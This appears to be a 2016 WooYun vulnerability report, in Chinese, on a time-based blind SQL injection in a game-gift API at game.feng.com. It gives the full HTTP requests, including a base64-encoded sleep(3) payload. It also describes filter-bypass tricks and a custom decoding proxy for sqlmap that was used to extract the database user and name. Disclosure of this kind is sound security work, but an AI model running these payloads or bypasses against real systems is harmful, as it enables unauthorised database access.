乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-03-14: 细节已通知厂商并且等待厂商处理中 2016-03-19: 厂商已经主动忽略漏洞,细节向公众公开
APP安全之SQL注入
目标:game.feng.com检测发现以下地方存在SQL注入:(延时盲注)
http://game.feng.com/index.php?r=apiw/apiGiftBag/getNewGiftBagNumHost: game.feng.comContent-Type: application/x-www-form-urlencodedConnection: keep-aliveProxy-Connection: keep-aliveAccept: */*User-Agent: WPForumPortal/4.2 (iPhone; iOS 9.2.1; Scale/2.00)Accept-Language: zh-Hans-CN;q=1Content-Length: 1581Accept-Encoding: gzip, deflatedata=eyJhcHBfa2V5IjoiYzg4YWJkZmIxN2M4OTAyNGVlMjY2NGViNDg3Y2I3OTYiLCJ2ZXJpZnkiOiI5ODJkOGUxY2ZmM2E3YTIyODhjMzMzYjVkMWRjNGJkNiIsImVuY3J5cHRfZGF0YSI6IlhDanBUc2JqYWFwM29SNzN1U1VFemhpRTZFY2lDY2J5MlFHNDA4ZVhLeHZ5bW9wdjhvRDJFYjNsSFI1bVVhOWhGOHB3S1wvTkhHRFdVQTZLSWsyQncrT3NNalZTcWVySyttWXdMdU5ZcWdCc1ZxWWpON3ZudytoYm8xS2xzc0Nwc2tMTUM4b294a085Uno2UWQ4dGUrY2dxZkxcL2NnZEROdkJYd3F3eHJ4V0dPUU40ZG8xTWVvN1ZaZTM4U1A2bityMVR1enVOSEw2S0ZEMVZ2TVN2XC8rQVZGeFRzcVdQVVZoaW4yK1wvZ05QTlljVVwva3d3VFZPNFE0MU1OMDhTQTVLWnNxQ0tmNU9QSjZJXC93azVzVDhwVmduWTBWWEl6dkFLdGc1WlB6QVZXNW9PQ1pUQ1BOY05ZeGV2RFFNbFZ1TndHUE1Ibjc0T1hhVkk5RW44cFh5TVwvaDNrYWNwNEhYWGUwWDJ4YU1wTTd0Zk1kK3JZT0RFc2k3NUo2dGFoTTdoQlNqRFdnT2NUVW12TEVMMzFMUW5qamVjc0I1Y0dIbk45MFNlWFU2VmxkM1hQalJ5d0JuaGpGRzlKQnFKSUhHTndTQnlBYzhcLzAyK0YrMGNPWGhvWGttZWd6NmFVeEpwYUhnSWlxMjVDN3k5a2JiaURZXC91anpEbWR4dks3WExVXC9aWXhzOE5tclpOb0N1OUN2OTNzVmt4clp5N2szRVFzNG5PcURTcGhIV3VwcDBRQTNWM1B0T2lZSGFtUzFLc3dIRmc5clQxQmhkZVRNNytUNCtrQlZwc0NPZ0hUV282cFNSWTdmK0JqaGhLVHhhMjF6Y0czbEdYMTFicHV6UWhPYThsUktcL0g4VHBuYkhNbUZyaEV4cWxjQzFUbWRrZ1hZNmhzR0Zlc1FrQUp5N3UrNk5YbFVQR1g2V1lzekRvS3l3SlgyMEhiaWZyZFM1SHJyQ3VQNThaeHU0K1wvZElLVzY0bkU1bHdqSThwUSsrRHJrSDlidzE4bUxBREpQUHhrUjdOXC8yTDFxZnVPanFvZDB5dWFYRk5BUEVXZGpcL1RkaWFSSXhobWdoZTZkZmtXMG5IZ3ZQQ2VGWEFtOHpveCsxTDl4eTlaRXhoYWR4aVFia3Jlc0pkXC9zdG85czFSeWxYbkJkVm9DRFBrOHFhb2FhbStUMHFzZURuMlN0NnRKWTNweG1GT1NXY2RnOFNtZGZLNDBDcTc3aWVHTlpsVEdoWXYySkhvczN1Y0lnQW5HSEF3OWlBdXVLYlprbEtmVjY1QW80R1lWY0M1U2E3UCtWcUdWV1BhXC9MdVwvZkJTQVdoNUg1WVNiaFVMSTdoV256RXdcL1hpd1FTSmtlRTVMSWQybUhzTjFyeThha1h2SFArUWVqalVTS2JOTHFnVXJVYVBUUkc3eCJ9
Payload:(延时3秒)
POST http://game.feng.com/index.php?r=apiw/apiGiftBag/getNewGiftBagNum HTTP/1.1Content-Length: 1589Accept-Language: zh-Hans-CN;q=1Accept-Encoding: gzip, deflateHost: game.feng.comAccept: */*User-Agent: WPForumPortal/4.2 (iPhone; iOS 9.2.1; Scale/2.00)Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7Cookie: NSC_hbnf.gfoh.dpn=ffffffffc3a0ac1345525d5f4f58455e445a4a423660Pragma: no-cacheCache-Control: no-cache,no-storeContent-Type: application/x-www-form-urlencodeddata=eyJhcHBfa2V5IjoiJysoc2VsZWN0KDApZnJvbShzZWxlY3Qoc2xlZXAoMykpKXYpKyciLCJ2ZXJpZnkiOiI5ODJkOGUxY2ZmM2E3YTIyODhjMzMzYjVkMWRjNGJkNiIsImVuY3J5cHRfZGF0YSI6IlhDanBUc2JqYWFwM29SNzN1U1VFemhpRTZFY2lDY2J5MlFHNDA4ZVhLeHZ5bW9wdjhvRDJFYjNsSFI1bVVhOWhGOHB3S1wvTkhHRFdVQTZLSWsyQncrT3NNalZTcWVySyttWXdMdU5ZcWdCc1ZxWWpON3ZudytoYm8xS2xzc0Nwc2tMTUM4b294a085Uno2UWQ4dGUrY2dxZkxcL2NnZEROdkJYd3F3eHJ4V0dPUU40ZG8xTWVvN1ZaZTM4U1A2bityMVR1enVOSEw2S0ZEMVZ2TVN2XC8rQVZGeFRzcVdQVVZoaW4yK1wvZ05QTlljVVwva3d3VFZPNFE0MU1OMDhTQTVLWnNxQ0tmNU9QSjZJXC93azVzVDhwVmduWTBWWEl6dkFLdGc1WlB6QVZXNW9PQ1pUQ1BOY05ZeGV2RFFNbFZ1TndHUE1Ibjc0T1hhVkk5RW44cFh5TVwvaDNrYWNwNEhYWGUwWDJ4YU1wTTd0Zk1kK3JZT0RFc2k3NUo2dGFoTTdoQlNqRFdnT2NUVW12TEVMMzFMUW5qamVjc0I1Y0dIbk45MFNlWFU2VmxkM1hQalJ5d0JuaGpGRzlKQnFKSUhHTndTQnlBYzhcLzAyK0YrMGNPWGhvWGttZWd6NmFVeEpwYUhnSWlxMjVDN3k5a2JiaURZXC91anpEbWR4dks3WExVXC9aWXhzOE5tclpOb0N1OUN2OTNzVmt4clp5N2szRVFzNG5PcURTcGhIV3VwcDBRQTNWM1B0T2lZSGFtUzFLc3dIRmc5clQxQmhkZVRNNytUNCtrQlZwc0NPZ0hUV282cFNSWTdmK0JqaGhLVHhhMjF6Y0czbEdYMTFicHV6UWhPYThsUktcL0g4VHBuYkhNbUZyaEV4cWxjQzFUbWRrZ1hZNmhzR0Zlc1FrQUp5N3UrNk5YbFVQR1g2V1lzekRvS3l3SlgyMEhiaWZyZFM1SHJyQ3VQNThaeHU0K1wvZElLVzY0bkU1bHdqSThwUSsrRHJrSDlidzE4bUxBREpQUHhrUjdOXC8yTDFxZnVPanFvZDB5dWFYRk5BUEVXZGpcL1RkaWFSSXhobWdoZTZkZmtXMG5IZ3ZQQ2VGWEFtOHpveCsxTDl4eTlaRXhoYWR4aVFia3Jlc0pkXC9zdG85czFSeWxYbkJkVm9DRFBrOHFhb2FhbStUMHFzZURuMlN0NnRKWTNweG1GT1NXY2RnOFNtZGZLNDBDcTc3aWVHTlpsVEdoWXYySkhvczN1Y0lnQW5HSEF3OWlBdXVLYlprbEtmVjY1QW80R1lWY0M1U2E3UCtWcUdWV1BhXC9MdVwvZkJTQVdoNUg1WVNiaFVMSTdoV256RXdcL1hpd1FTSmtlRTVMSWQybUhzTjFyeThha1h2SFArUWVqalVTS2JOTHFnVXJVYVBUUkc3eCJ9
这个SQLMap默认基本跑不出数据1、BASE64编码,SQLMap的base64解码tamper只适用于一个参数的,不适用于全post data,于是只能通过开源代理来自动decode2、过滤,经测试发现Payload中出现以下字符都是报错滴:空格/ORD/等号/CURRENT_USER于是用括号代替空格,用ASCII代替ORD,用like代替等号……截个图改写的代理:
1、跑出当前数据库用户
2、跑出当前数据库
请多指教~
危害等级:无影响厂商忽略
忽略时间:2016-03-19 08:40
漏洞Rank:15 (WooYun评价)
暂无